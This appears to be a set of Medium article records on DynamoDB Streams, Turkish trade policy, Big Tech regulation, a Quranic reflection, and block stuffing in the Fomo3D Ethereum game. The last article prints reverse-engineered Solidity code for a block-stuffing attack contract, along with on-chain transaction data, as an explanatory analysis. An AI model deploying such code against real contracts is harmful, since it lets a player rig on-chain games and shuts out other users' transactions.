INSERT-This event returns new image of data(newly created record). MODIFY -This event returns new and old image (latest state and previous state of record). REMOVE-This event returns current state of data, which is being deleted.
Optimum Settings
Dynamo streams are processed by lambda functions. Hence its important to understand right settings for lambda dynamo trigger.
Following are the key parameters which should not be left in their default value-
Batch Size- Total number of event records processed by lambda function in single execution. By default its value is 100, however choose the right number of Batch size as per your app logic. Its the largest number of record that Lambda will retrieve from your event source at the time of invocation. Starting Position- The position in the stream where AWS Lambda should start reading. There are two types LATEST and TRIM_HORIZON.
LATEST: Lambda will retrieve the latest event available in shard (partition) for a given index.
TRIM_HORIZON: Lambda will retrieve the oldest event available in shard (partition) for a given index.
3. Maximum Retry Attempts - Its one of the most important key setting which should be set to desired number. Its default value is 10000.
lets understand, why its important-
Whenever streams send data to lambda function, it expects successful execution of streamed data. In case , for some unforseen reasons if lambda function fails, it will retry for N number of times unless it executes successfully.
Addtionally, default age of any stream record (maximum_record_age_in_seconds) is 604800 seconds(7 days), which means older stream will be available for above duration and it will block sub sequnent events of particular event type(Insert/Modify/Remove) for a given index, unless that failed event proccessed successfully by lambda function.
Its important to note that the stream record age is independent of data item present in Dynamo table.
Thanks for reading the article. Please share you feedback/ queries/ corrections in comments section.
Cheers :)
Previous Artciles:
Kubernetes Architecture
Terraform Start-up guide | https://medium.com/@sumitsijaria/dynamo-streams-aka-cdc-b89d78e1e267 | [] | 2020-12-06 20:48:28.531000+00:00 | ['AWS', 'AWS Lambda', 'Solution Design', 'Dynamodb Stream', 'Dynamodb'] |
Turkey gambles in bid to rival China as a key supply chain node | By James M. Dorsey
A projected sharp reduction in trade between the United States and China in the next two years coupled with moves to diversify supply chains potentially position Turkey alongside Vietnam, Mexico, Taiwan and Poland as competitors in efforts to reduce dependency on the People’s Republic, according to a just published study.
The study, conducted by the Boston Consulting Group on behalf of the Turkey-US Business Council (TAIK), suggests that Turkey, located on a fault line that separates Europe from Asia, has prerequisites to emerge as a winner provided it invests in its digital, electronics and equipment sectors.
TAIK is an affiliate of the Foreign Economic Relations Board of Turkey (DEIK), the country’s oldest and largest business association.
The study identifies Africa as one region where the US and Turkish firms bring complimentary assets to the table. Turkey has in recent years significantly expanded its diplomatic, political, military, and economic footprint in Africa.
Africa is also a continent where China has made major inroads and could emerge as the dominant player, particularly in countries like Egypt that risk economic collapse.
Issued weeks before US President-elect Joe Biden is scheduled to take office, the study appears intended to underline Turkey’s strategic importance at a time that the country’s relations with the US and the European Union are strained.
The US recently slapped Turkey with sanctions for acquiring Russia’s S-400 anti-missile defense system while the EU imposed penalties in response to controversial Turkish gas drillings in the Eastern Mediterranean.
Increasing Turkey’s relevance to global trade flows would serve various Turkish objectives: boosting the country’s economy imperiled by the pandemic, the global economic downturn, and structural problems as well as capitalizing on recent geopolitical victories garnered through its military intervention in Libya, its support for Azerbaijan in this fall’s Caucasus war against Armenia, and the demonstrated capabilities of its homemade hardware, particularly drones.
To improve its chances of becoming a key alternate supply chain node, Turkey has sought to polish its tarnished image as a disruptive force by attempting to improve strained relations with two other key regional players, Saudi Arabia and Israel, and pressuring Iran — moves that would please Europe as well as Mr. Biden.
Finally, becoming a major alternative to Chinese-controlled supply chains furthers Turkey’s ambition to exploit something of a power void because of diminished US regional engagement to carve out its own place in a world in which power is being rebalanced as a result of big power rivalry.
“The growing rift between the United States and China creates significant opportunity for geopolitical cooperation. Turkey and the United States would both benefit economically,” said a Turkish businessman.
Predicting that US-China trade would drop by up to US$200 billion in the next two years, the study suggested that Turkey could significantly enhance its relevance to the global economy by leveraging its industrial base to exploit underutilized potential in data and software services and technology start-ups; and invest in cutting edge electronics and equipment manufacturing in areas such as smart cities, the Internet of Things, and automation.
The study warned that countries like Vietnam, Taiwan and Mexico have so far proven more adept than Turkey at exploiting emerging opportunities. It said the three countries this year boosted their electronics, automotive, and/or agricultural sectors by up to 11 percent.
TAIK’s lobbying agent, Mercury Public Affairs, distributed the study to US policy and opinionmakers, in an effort to change Washington perceptions of Turkey and its assertive president, Recep Tayyip Erdogan.
DEIK, the Turkish business association, together with TAIK, last week organized a webinar to highlight contributions of frontline personnel in the fight against COVID-19 who have either Turkish roots or links to Turkey’s allies.
Participants included Sine Akten, vice president of the Turkish American Medical Association; Esam Omeish, a Virginia surgeon and president of the Libyan American Alliance who is believed to be a supporter of the Turkish-backed Government of National Accor in Libya; and Samia Piracha, the Washington DC Chapter President of the Association of Physicians of Pakistani-descent in North America
TAIK, backed by Mr. Erdogan, kicked off its campaign to reposition Turkey with a webinar in June, entitled ‘A Time for Allies to be Allies: Turkish American Global Supply Chain,’ that was addressed by influential US Republican Senator Lindsey Graham, a close ally of outgoing President Donald J. Trump.
Mr. Graham acknowledged Turkey’s importance, noting that going forward Turkey’s relationship with the United States was likely to be grounded in economic integration through a free trade agreement.
He predicted that Africa would be “the prize of the 21st century” and said that he hoped that the United States and its allies rather than China would be the continent’s infrastructure and technology provider.
Mr. Graham cautioned, however, that Turkey’s S-400 acquisition, the resulting US cancellation of the sale to Turkey of advanced F-35 fighter jets, and Turkey’s military intervention in northern Syria were the greatest impediments to Turkey achieving its goal of becoming a key node in reconfigured US supply chains.
“The potential of this relationship is unlimited, but we’ve got to get over the friction points. It’s not going to reach its full potential until we get a resolution to the S-400/F-35 problem. Its not going to reach its full potential until we can come up with a more sustainable solution to Syria. The sooner we can get these two issues behind us, the more likely everything becomes a reality. Confidence building measures, that’s what I’m looking for,” Mr. Graham said.
Mr. Erdogan may see his geopolitical successes and attempts at rapprochement with Saudi Arabia and Israel as confidence-inspiring but that is unlikely how either side of the Washington divide will perceive them.
Meanwhile, Turkey’s supply chain competitors appear to be gaining a head start even if the United States recently branded Vietnam a currency manipulator.
Mr. Erdogan has so far given little indication that he is willing to budge on Syria or risk his already complex relationship with Russia by backtracking on the S-400.
Describing differences with the US and the EU as “artificial agendas,” Mr. Erdogan this week told his Justice and Development Party’s members of parliament that “Turkey is facing double standards both over the eastern Mediterranean and the S-400s. We want to turn a new page with the EU and United States in the new year.”
The Turkish president appears to be gambling on the Biden administration prioritizing the reduction of dependency on China by adopting policies that are, in the words of international affairs scholar Aaron L. Friedberg, “at least partially insulated from day-to-day political pressures.” That could prove to be a risky bet.
A podcast version of this story is available on Soundcloud, Itunes, Spotify, Stitcher, TuneIn, Spreaker, Pocket Casts, Tumblr, Podbean, Audecibel, and Castbox.
Dr. James M. Dorsey is an award-winning journalist and a senior fellow at Nanyang Technological University’s S. Rajaratnam School of International Studies in Singapore and the National University of Singapore’s Middle East Institute | https://medium.com/@mideastsoccer/turkey-gambles-in-bid-to-rival-china-as-a-key-supply-chain-node-d86a480d4c6b | ['James M. Dorsey'] | 2020-12-24 03:24:24.345000+00:00 | ['United States', 'China', 'Europe', 'Turkey', 'Russia'] |
Big Tech Regulators Are Missing the Point | Facebook’s CEO Mark Zuckerberg at a 2018 Congressional hearing on privacy (Photo by Chip Somodevilla/Getty Images | Source)
It has been a tragic saga, for people who are familiar with the ways that social media platforms and companies operate, to watch government regulatory sessions with Big Tech companies. For many young people, this began with U.S. lawmakers’ questioning in Congressional hearings; sessions that revealed the lack of understanding of social media by, frankly, elder legislators. However, for those of us who study modern technology and the way that it has mutated capitalism into an entirely new beast, the frustrations with how lawyers, government officials, and any who engage in mainstream regulatory discourse, continue and intensify.
This is primarily because regulators seem to not have an understanding of the actual imperatives guiding Big Tech. While they aim at Antitrust, they tip their hand in journals like the New York Times and say that the case is harder to make than they expected. They fail to realize, because they are not versed in deep understanding of the paradigms that guide Big Tech, why their case is so hard. Companies like Google, Facebook, Apple, Amazon, Microsoft, and the like, have not been motivated by user products for over a decade. They are focused on data and prediction products. The disconnect between this older understanding of how capitalism has worked, and how Shoshanna Zuboff’s appropriately named “surveillance capitalism” works currently is ruining any chance of actually reigning in Big Tech. There is an urgent need for deeper understandings of surveillance capitalism and its imperatives in order to truly reveal the danger Big Tech poses to all of us, and move towards substantive regulation.
Surveillance Capitalism?
Zuboff’s paradigm-shifting work, The Age of Surveillance Capitalism, is a necessary prerequisite read for anybody who dares challenge Big Tech’s hegemonic influence. I’ll detail a few key concepts that motivate the regulatory arguments against Big Tech and best depict why current Antitrust cases will likely fall embarrassingly flat.
Facebook is not after Instagram or WhatsApp in order to improve the actual user interfaces or messaging capabilities, they are after these companies to acquire more of your behavioral data to feed into their machine learning prediction algorithms.
Primary is the idea that companies like Google, Facebook, Amazon, and more, are not in the business of making their user products better. Zuboff calls this old cycle of product improvement the “behavioral reinvestment cycle.” This argues that, in the old days, Google may have used user data on how their search bar has been used in order to improve the search bar itself — potentially adding a new feature like search suggestions. This cycle closely mirrors the cycle of capital reinvestment from industrial capitalism, where we can imagine the profits from a company like Ford Motor to be reinvested back into their production lines or the cars themselves.
This is not how Big Tech companies operate. This point could not be more important. Companies who are playing the surveillance capitalist game are not interested in changing their products to better serve users. The actual products these companies sell are predictions — that’s why Google is in the advertising business; they predict how you are feeling, thinking, and how you may do so in the future in order to give you a perfectly timed and tailored advertisement. You are not the customer for Big Tech companies. You are the raw materials, you generate behavioral data that they analyze, and then they sell predictions to their actual customers: advertisers.
All of this motivates the true incentives that Big Tech are following, which follow what Zuboff calls the extraction imperative. Their prediction products improve as they harvest more behavioral data from you. Therefore, there is a strong incentive to extract more data from you — i.e. they want to make you use their platforms more, and in different ways. There is also an incentive under the extraction imperative to simply collect as much data as possible, and this is facilitated by acquiring diverse companies. Facebook is not after Instagram or WhatsApp in order to improve the actual user interfaces or messaging capabilities, they are after these companies to acquire more of your behavioral data to feed into their machine learning prediction algorithms.
Under these incentives, companies like Facebook have spent years biding their time and taking flak from privacy scandal after privacy scandal because their entire business relies on gathering more data from you. For example, in 2014, Facebook faced intense privacy backlash after acquiring WhatsApp, and vowed to keep the data from the two apps in separate silos. Almost seven years later, however, in today’s New York Times article on the Antitrust cases, it is taken as common sense that the apps are being integrated. The article states,
“In September, 18 months after the initial announcement that the apps would work together, Facebook unveiled the integration of Instagram and its Messenger services. The company anticipates that it may take even longer to complete the technical work for stitching together WhatsApp with its other apps.”
Zuboff points out that this is part of a pattern that Big Tech companies have used since the early 2000’s: they do something that shocks us and raises privacy concerns, apologize and say they made a mistake and will protect privacy, and then wait long enough until everyone forgets and simply do it anyway. She calls this the “dispossession cycle,” and it is crucial to understand for any regulator trying to understand how these companies operate.
How Regulators Should Proceed
In light of these ideas that drastically shift how Big Tech is understood, regulators need to commensurately shift their strategies. The narratives that Facebook and Google have become expert at blasting out in blog posts will trump regulators’ narratives unless they, and the public, truly understand what these companies are after.
They plainly make people think their apps are communication, entertainment, or gaming tools. But this is only what they are on the surface: they are actually tools to make behavioral prediction products for advertisers.
Instead of trying to argue that product-based competition has been harmed by Big Tech snapping up would-be competitors like Instagram or WhatsApp, a better argument must emphasize that prediction product competition is monopolized by acquiring more sources of data. I should strongly note that I do not endorse in the slightest the idea that a market of prediction products is even legitimate. Nor do I wish to imply it doesn’t infringe heavily on human rights. However, using the language of surveillance capitalism will help regulators take the first step in the argument against Big Tech, and will lead to even stronger critiques that these predictions products — based on enormous and rich streams of behavioral data — infringe on autonomy as they arguably “know” you so well they can manipulate you. The anti-competitive argument easily follows from recognizing that the competition lies in competing data extraction and predictions, not competing user interfaces or product features.
An understanding of surveillance capitalism, and the extraction and prediction imperatives, also counters the typical narratives woven by companies like Facebook and Google. In the same New York Times article, Facebook executives are quoted saying things like,
“These transactions were intended to provide better products for the people who use them, and they unquestionably did,” Jennifer Newstead, Facebook’s general counsel… … Mr. Zuckerberg said Facebook was fighting a far larger ecosystem of competitors that went beyond social networking, including “Google, Twitter, Snapchat, iMessage, TikTok, YouTube and more consumer apps, to many others in advertising.” That is because Facebook and its other apps are used for communication and entertainment, such as streaming video and gaming.
These narratives make it seem like Big Tech companies are motivated by the old-school “behavioral reinvestment cycle” described above. They plainly make people think their apps are communication, entertainment, or gaming tools. But this is only what they are on the surface: they are actually tools to make behavioral prediction products for advertisers. The line that these companies “make better products for users” is utilized over and over again. It is a diversionary tactic, and should be recognized as such. Regulators need to be crystal clear in their counter-narratives and call out these diversions. The moves of regulators often are the only exposure a broader public receives to these issues, so regulators must do better to expose Big Tech’s charades to the general population.
Regulators must finally also understand that arguments for privacy are not just based on Big Tech companies knowing where you live, or who your friends are. The true invasion of privacy is that, though prediction, they know how you feel, where you may be going, even what you may think about soon. Our thoughts and feelings are no longer private, and those are what are being fed to advertisers to make you more likely to view or click their ads. The same way that democracy is often tied with freedom of speech, we need to deeply understand the implications of systems of consolidated power having this knowledge so that we can move to protect freedom of behavior or freedom of thought. These ideas deserve a longer treatment, but it should suffice to say that they must be the crux of truly motivating why Big Tech is so dangerous.
Urgency is Needed, with Caution
These ideas scratch the surface of how understanding of Big Tech companies needs to radically shift in order to motivate any regulatory action and rhetoric that cuts at the core of the actual problems. Without such an understanding, regulators seem doomed to face frustrations and lose the trust of the public through failed action, and easy counter-arguments coming from Big Tech.
Regulation as an ideology has decayed in the U.S. since the Neoliberal period under Reagan, and is now a partisan issue. Failed regulatory action will only stymie momentum towards understanding that a capitalist system can only function if it is regulated. We thus need to speak with urgency towards spreading understanding of surveillance capitalism so that everyone understands what’s at stake if Big Tech is left unchecked. Though, we must also be cautious and note that the problem is so contingent on a fairly massive ideological shift that it would likely take something along the lines of a social movement to meet the challenge — something that would take time.
In the meantime, those who understand how surveillance capitalism operates must raise their voices and share these ideas as widely as possible. The power and reach of Big Tech’s behavioral extraction and manipulation will only increase with time. | https://medium.com/swlh/big-tech-regulators-are-missing-the-point-240481da2eb8 | ['Nick Rabb'] | 2020-12-11 03:53:58.772000+00:00 | ['Technology', 'Regulation', 'Google', 'Surveillance Capitalism', 'Facebook'] |
The Sea — Reflections. “From both of them emerge pearl and… | “From both of them emerge pearl and coral. So which of the favors of your Lord would you deny?” Reflections on what fascinates me: the sea.
بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ
In the name of Allah, the Most Compassionate, the Most Merciful
Assalamualaikum. The sea fascinates me. It is one of the creations of Allah that is amazing and wondrous, filled with adventures and discovery.
مَرَجَ الْبَحْرَيْنِ يَلْتَقِيَانِ * بَيْنَهُمَا بَرْزَخٌ لَّا يَبْغِيَانِ * فَبِأَيِّ آلَاءِ رَبِّكُمَا تُكَذِّبَانِ
He merged the two seas meeting together; Between them is a barrier [so] neither of them transgresses. So which of the favors of your Lord would you deny? (Surah Ar-Rahman, 55:19–21)
Sometimes we need to take breaks and visit places, and contemplate on Allah’s creation, so our faith is renewed, and we witness signs of Allah’s greatness, and His power and might, and His control and dominion, and wonders and miracles.
يَخْرُجُ مِنْهُمَا اللُّؤْلُؤُ وَالْمَرْجَانُ * فَبِأَيِّ آلَاءِ رَبِّكُمَا تُكَذِّبَانِ
From both of them emerge pearl and coral. So which of the favors of your Lord would you deny? (Surah Ar-Rahman, 55:22–23)
The sea is vast, yet if it were ink for the words of Allah, it would be exhausted.
وَلَوْ أَنَّمَا فِي الْأَرْضِ مِن شَجَرَةٍ أَقْلَامٌ وَالْبَحْرُ يَمُدُّهُ مِن بَعْدِهِ سَبْعَةُ أَبْحُرٍ مَّا نَفِدَتْ كَلِمَاتُ اللَّهِ ۗ إِنَّ اللَّهَ عَزِيزٌ حَكِيمٌ
And if whatever trees upon the earth were pens and the sea [was ink], replenished thereafter by seven [more] seas, the words of Allah would not be exhausted. Indeed, Allah is Exalted in Might and Wise. (Surah Luqman, 31:27)
Exalted are You, our Lord, how Great you are!
Exalted are You, our Lord, how Honourable you are!
Exalted are You, our Lord, how Forbearing you are!
Exalted are You, our Lord, how Merciful you are!
وَكَانَ عَرْشُهُ عَلَى الْمَاءِ
And His Throne had been upon water (Surah Hud, 11:7)
There is no god but You. Exalted are You. Indeed we have been of the wrongdoers.
وَذَا النُّونِ إِذ ذَّهَبَ مُغَاضِبًا فَظَنَّ أَن لَّن نَّقْدِرَ عَلَيْهِ فَنَادَىٰ فِي الظُّلُمَاتِ أَن لَّا إِلَٰهَ إِلَّا أَنتَ سُبْحَانَكَ إِنِّي كُنتُ مِنَ الظَّالِمِينَ * فَاسْتَجَبْنَا لَهُ وَنَجَّيْنَاهُ مِنَ الْغَمِّ ۚ وَكَذَٰلِكَ نُنجِي الْمُؤْمِنِينَ | https://medium.com/quran/the-sea-reflections-54ff39a4e474 | ['Samet Faruque'] | 2021-09-10 22:12:48.264000+00:00 | ['Quran', 'Sea', 'Thoughts', 'Muslim', 'Islam'] |
Block Stuffing: Fomo3D, Part 3 | The third round of Fomo3D
The third round of the Fomo3D game starts right after the end of the second round, which is Sep-24–2018 03:35:45 PM +UTC.
As rounds 1 and 2 of the Fomo3D game are won by employing block stuffing attacks, more players realize the effects and techniques of the block stuffing. So, it is expected that more players will resort to such kind of techniques to try to win the game.
Therefore, the Fomo3D game no longer belong to human players, instead, it becomes the playground of all kinds of attacks.
As a result, most fun of playing the game has lost and human players’ interests in the game fade, implying that the money pool for the game decreases along with time.
Sure enough, let us first look at the brief summary of the main events in round 3 of the Fomo3D game, which is shown below.
Transaction ending round 2: 0x87bf726bc60540c6b91cc013b48024a5b8c1431e0847aadecf0e92c56f8f46fd
Sender: 0x0056dae44A7fC61e817B0e793B1Af6E06bAB553E
Timestamp: Sep-24-2018 03:35:45 PM +UTC
Block containing that transaction: 6391548 Last transaction in round 3:
0x88452b56e9aa58b70321ee8d5c9ac762a62509c98d9a29a4d64d6caae49ae757
Sender: 0xaf492045962428a15903625b1a9ecf438890ef92
Timestamp: Oct-13-2018 02:09:14 PM +UTC
Block containing that transaction: 6507761 Winner of round 3: 0xaf492045962428a15903625B1a9ECF438890eF92
Amount won: 376 Transaction ending round 3: 0xe6a5a10ec91d12e3fec7e17b0dfbb983e00ffe93d61225735af2e1a8eabde003
Sender: 0x16e21b702ea2ee0f4dc40e877099c88acd3d27d5
Timestamp: Oct-13-2018 02:12:45 PM +UTC
Block containing that transaction: 6507774 Transaction where winner withdraws prize: 0xd7e70fdf58aca40139246a324e871c84d988cfaff673c9e5f384315c91afa5e4
Sender: 0xaf492045962428a15903625b1a9ecf438890ef92
Timestamp: Oct-13-2018 02:14:45 PM +UTC
Block containing that transaction: 6507786
The obvious thing is that the prize for the third round of the game is only 376 Ethers, which is much smaller compared with 10,469 Ethers and 3,264 Ethers for rounds 1 and 2, respectively.
The winner of the third round is 0xaf49 and his team. The winners of rounds 1 and 2 are 0xa169 and 0x18a0, respectively. Although I can not verify whether or not they are independent groups or belong to different teams, I tend to consider them separate groups mainly based on the block stuffing techniques they use in their smart contracts. I will talk more about this later in this part of the article.
The last transaction in the third round of the game is as follows.
Transaction Hash: 0x88452b56e9aa58b70321ee8d5c9ac762a62509c98d9a29a4d64d6caae49ae757
Status: Success
Block: 6507761 2201104 Block Confirmations
Timestamp: 361 days 2 hrs ago (Oct-13-2018 02:09:14 PM +UTC)
From: 0xaf492045962428a15903625b1a9ecf438890ef92
To: Contract 0xa62142888aba8370742be823c1782d17a0389da1 (Fomo3D: Long) TRANSFER 0.000007950972267342 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444ee TRANSFER 0.000007950972267342 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5 TRANSFER 0.000003975486133671 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d TRANSFER 0.000079509722673428 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xc7029ed9eba97a096e72607f4340c34049c7af48 Value: 0.000397548613367146 Ether ($0.08)
Transaction Fee: 0.00039316332 Ether ($0.08)
Gas Limit: 500,000
Gas Used by Transaction: 196,680 (39.34%)
Gas Price: 0.000000001999 Ether (1.999 Gwei)
Nonce Position 5708 136
Input Data: Function: buyXname(bytes32 _affCode, uint256 _team)
MethodID: 0xa65b37a1
[0]: 0000000000000000000000000000000000000000000000000000000000000000
[1]: 0000000000000000000000000000000000000000000000000000000000000002
The sender of this transaction is 0xaf49. In this transaction, the function buyXname() in the smart contract for the Fomo3D game was invoked to buy a key. The value carried by the transaction is 0.000397548613367146 Ethers. In comparison, the function invoked by the last transaction in round 2 is buyXid(). The ultimate goal of both functions is to buy a key. The only difference is: if the affiliate code is not provided when calling the function buyXname() or buyXid(), the former uses “name” of the player as the affiliate code while the latter uses “ID” of the player as the affiliate code.
The gas used by the transaction is 196,680 units, it is similar to that by the transaction invoking function buyXid(), which is 211,465 units as shown in part 2 of the article.
In order to ensure that this transaction is indeed the very last transaction buying a key, the sender of this transaction and his team need to prevent any key buying transaction from reaching the smart contract for the Fomo3D game in the next period of time defined by the counter in the game.
Similar to rounds 1 and 2 of the game, the sender of the last transaction and his team resort to block stuffing techniques to fill next blocks with their own transactions that typically offer high gas limit and/or high gas prices so that they are mined first by miners of the Ethereum blockchain. In this way, other transactions, especially those destined to Fomo3D game for key buying, have little chances to be included the blocks.
The smart contract for block stuffing
The block stuffing attacks are mainly implemented in a smart contract. The information on the smart contract for block stuffing in the third round of the Fomo3D game is given below.
Contract: 0xdcC655B2665A675B90ED2527354C18596276B0de
Creator: 0xfEfe743B43291D7799BE6e748E9fF4FB0c72Aa5C
Timestamp: Oct-11-2018 08:08:42 AM +UTC
Block: 6493912 Transaction:
Transaction Hash:
0x51aa41a16114b3730a88dd2f3273a1d19627f40999b88265e3a8075f3288e785
Status: Success
Block: 6493912 2202788 Block Confirmations
Timestamp: 361 days 10 hrs ago (Oct-11-2018 08:08:42 AM +UTC)
From: 0xfefe743b43291d7799be6e748e9ff4fb0c72aa5c
To: [Contract 0xdcc655b2665a675b90ed2527354c18596276b0de Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.004633596 Ether ($0.84)
Gas Limit: 386,133
Gas Used by Transaction: 386,133 (100%)
Gas Price: 0.000000012 Ether (12 Gwei)
Nonce Position 51 45
Input Data:
The creator of the smart contract is 0xfefe. It is interesting that the creator of this smart contract is not the one that won the prize of the third round of the game.
The smart contract is deployed on Oct-11–2018 08:08:42 AM +UTC. In comparison, the timestamp for the last transaction of round 3 is Oct-13–2018 02:09:14 PM +UTC. So, it is clear that the creator of the smart contract and his team won the prize of the third round just 2 days after the deployment of their attack tool.
The address of the smart contract is 0xdcc6. As the creator of the smart contract did not publish the source code of the smart contract, we employ the reverse engineering techniques to restore its source code.
The source code of the smart contract for block stuffing in round 3 of the game is presented as follows.
pragma solidity ^0.5.1; contract contract_dcc6 {
address constant target = 0xA62142888ABa8370742bE823c1782D17A0389Da1;
// slot 0x00
uint256 public numSlots; // slot 0x01
mapping (uint256 => uint256) public gasSlots; // slot 0x02
uint256 public blockTime = 0x01; // slot 0x03
address owner;
constructor () public {
owner = msg.sender;
}
// function selector: 0x4dcea9ed
// code entrance: 0x0092
function shouldStuff(uint256 _timeGap, uint256 _roundEnd) public
returns (bool) {
(uint256 rend, address paddr) = getRoundInfo(); bool rtn = false;
if ((rend == _roundEnd) || (_roundEnd == 0)) {
if ((rend >= block.timestamp) &&
((rend - block.timestamp) <= _timeGap)) {
rtn = checkOwners(paddr);
}
} return rtn;
}
// function selector: 0x67536bfc
// code entrance: 0x00e8
function decreaseGasSlot() public {
popGasSlot();
}
// function selector: 0xa4e62fc3
// code entrance: 0x012c
function blockStuff(uint256 _timestamp, uint256 _roundEnd) public {
if (blockTime < block.timestamp) {
// 0x050d958f = 84776335
if (shouldStuff(_timestamp - 0x050d958f, _roundEnd)) {
doStuff();
}
else {
// 0x3c = 60
blockTime = block.timestamp + 60;
popGasSlot();
}
}
else {
popGasSlot();
}
}
// function selector: 0xa7a9b324
// code entrance: 0x0147
function _doStuff() public {
doStuff();
}
// function selector: 0xb3bb8cd4
// code entrance: 0x015c
function _now() public view returns (uint256) {
return block.timestamp;
}
// internal functions
// code entrance: 0x01c8
function popGasSlot() private {
if (numSlots < 0x01) {
return;
}
else {
gasSlots[numSlots - 1] = 0;
numSlots = numSlots - 1;
return;
}
}
// code entrance: 0x0258
function doStuff() private {
// 0x1770 = 6000
// 0x5014 = 20500
uint256 num = (gasleft() - 6000) / 20500;
if (numSlots == 0) {
num = num - 1;
} uint256 idx = 0;
while (idx < num) {
gasSlots[numSlots + idx] = block.timestamp;
idx = idx + 1;
} numSlots = numSlots + num; // 0xc8 = 200
while (gasleft() > 200) {
idx = idx + 1;
}
}
// code entrance: 0x02cb
function getRoundInfo() private returns (uint256, address) {
// 747dff42 getCurrentRoundInfo
(bool success, bytes memory data) = target.call(
abi.encodeWithSelector(0x747dff42)); require (success == true);
require (data.length >= 0x01c0); uint256 rend;
address paddr;
assembly {
rend := mload(add(add(data, 0x20), 0x60))
paddr := mload(add(add(data, 0x20), 0xe0))
} return (rend, paddr);
}
// code entrance: 0x0387
function checkOwners(address _addr) private pure
returns (bool) {
return (
(_addr == 0x11f63528038c5DEC1F2212d91CadEc34afEab7b3) ||
(_addr == 0xaf492045962428a15903625B1a9ECF438890eF92) ||
(_addr == 0x2185219e02D7dc27Afa08aA6619739aA8FAa1fc7));
}
}
First, the address of the smart contract for the Fomo3D game, which is 0xA621, is hard coded in the source code, so, this smart contract for block stuffing is developed particularly for attacking the game.
The main entry point for the smart contract is the function blockStuff(), which has selector 0xa4e62fc3. This function first checks whether or not block stuffing should be conducted mainly based on time and if so, the function proceeds to launch block stuffing attack. In more particular, checking the conditions for block stuffing is performed in another function named shouldStuff() and the real block stuffing attack is done in function doStuff().
In order to determine whether or not the conditions for block stuffing are satisfied, the function shouldStuff() first gets the information about the current round of the Fomo3D game by using function getRoundInfo(), and then checks if the end time of the current round has not been reached and the gap between current time and the round end time falls into the specified threshold (i.e., 60 seconds). If these time related conditions are met, the function further check the lead player in the current round is one of the members in the attacker’s team. Only all these conditions are satisfied, the function shouldStuff() returns true, otherwise, returns false.
The function checkOwners() performs the verification of membership for the team: it only permits 3 accounts to be the members for playing the Fomo3D game in the team and one of them is 0xaf49, which is exactly the winner of the third round of the game.
The actual block stuffing attack is performed in function doStuff(). The method for block stuffing is quite simple: the function mainly uses the “add” operation in a loop and in every iteration, a local variable adds “1” to itself. It is interesting to see that the function intentionally does not use up all the gas. Instead, it stops the loop when the remaining gas is less than or equal to 200 units.
Compared to the block stuffing methods used by the winners of rounds 1 and 2 of the game, the method used in this smart contract is quite different: it does not use “assert()” to crash the execution of the transaction when the conditions for attack are met. Instead, this smart contract uses a loop to execute “useless” operation and also avoids using up all the gas.
The net result is: the status of the transactions that launch block stuffing attacks by this smart contract will be “success” rather than “fail” as those transactions in rounds 1 and 2 because all the block stuffing transactions by this smart contract execute successfully and terminate normally. In contrast, those block stuffing transactions in rounds 1 and 2 all crash and fail as they all did not satisfy the conditions required by the “assert()” statement.
The advantage is: as these block stuffing transactions all look normal and execute successfully, they are much more difficult to be spotted and to be distinguished from other transactions.
Another interesting technique used by this smart contract is: it takes advantage of the storage refund provided by the Ethereum blockchain. In Ethereum blockchain, storage variables in smart contracts are stored by all nodes of the blockchain forever. To encourage contracts to delete storage variables, Ethereum provides a refund when a storage element is deleted. This refund can pay for up to half of the gas used by a contract transaction.
As we pointed out before, the actual block stuffing attack is conducted in the function doStuff(), and the block stuffing method is to execute “useless” operations such as “add” in a loop in order to consume as much gas as possible. It would be great if some of these “useless” operations can be converted into “useful” operations.
To do so, the function doStuff() builds a bank of storage, which is named gasSlots in the source code, before entering the loop. The function then fills a certain number of slots in the bank with the timestamp of the current block as the content of the slots (in fact, the contents of the slots do not matter as long as they are not 0). The number of slots is determined by the gas limit. More specifically, one slot is filled for every 20500 units of gas.
If a transaction that invokes the function blockStuff() in the smart contract does not meet the conditions for a block stuffing attack, the function simply deletes one slot in the bank of the storage to get the storage refund, which will make the transaction fees for those transactions that do not launch block stuffing attacks much cheaper.
The timeline of block stuffing in round 3
As shown before, the last transaction in round 3 of the game occurs on block 6507761, and the round is ended on block 6507774. That means the attackers have successfully stuffed blocks in range [6507762, 6507774).
In fact, when we review transactions in blocks 6507762 to 6507767, we notice that there is no transaction destined to block stuffing contract, contract_dcc6. Meanwhile, there is no transaction sending to the smart contract for the Fomo3D game, either.
The actual block stuffing started at block 6507768.
Block Height: 6507768
Timestamp: 360 days 10 hrs ago (Oct-13-2018 02:12:18 PM +UTC)
Transactions: 179 transactions and 12 contract internal transactions in this block
Mined by: 0xea674fdde714fd979de3edf0f56aa9716b898ec8 (Ethermine) in 66 secs
Block Reward: 3.994150447467999127 Ether (3 + 0.994150447467999127)
Uncles Reward: 0
Difficulty: 3,126,180,000,925,285
Total Difficulty: 7,198,868,778,853,428,051,981
Size: 20,594 bytes
Gas Used: 7,995,653 (99.95%)
Gas Limit: 8,000,029
Extra Data: ethermine-eu1 (Hex:0x65746865726d696e652d657531)
Hash: 0x7d28c9df1507a77606bd0efe0cdb631e89772a64a4ff9ff86574bb0992d4d43c
Parent Hash: 0x040046298455440a33fe74e73dd794acc434b754181fcffb5ff3f6c58f49a0e1
Sha3Uncles: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
Nonce: 0xef8566a0030314db
The amount of gas consumed by transactions is shown below.
transaction sender gas limit gas used
0x9dff772bd890973472aabbc7028b3e4a8c48593c 4,000,000 3,999,903
0x0cf30b42b7e985f5c05796d56b336f475fdbec0b 160,000 159,913
others 3,835,653
total 7,995,653
It can be seen that all other 177 transactions consume 3,835,653 units of gas. Although the average gas consumption for them is 21670 units, which is not enough to make a function call such as buyXid() or buyXname() in the smart contract for Fomo3D, however, 3,835,653 units of gas are big enough for a transaction to make such a function call. Therefore, it seems that the attackers are lucky to successfully block other transactions from be reaching the smart contract for Fomo3D with only two block stuffing transactions that only occupy half of the block gas limit.
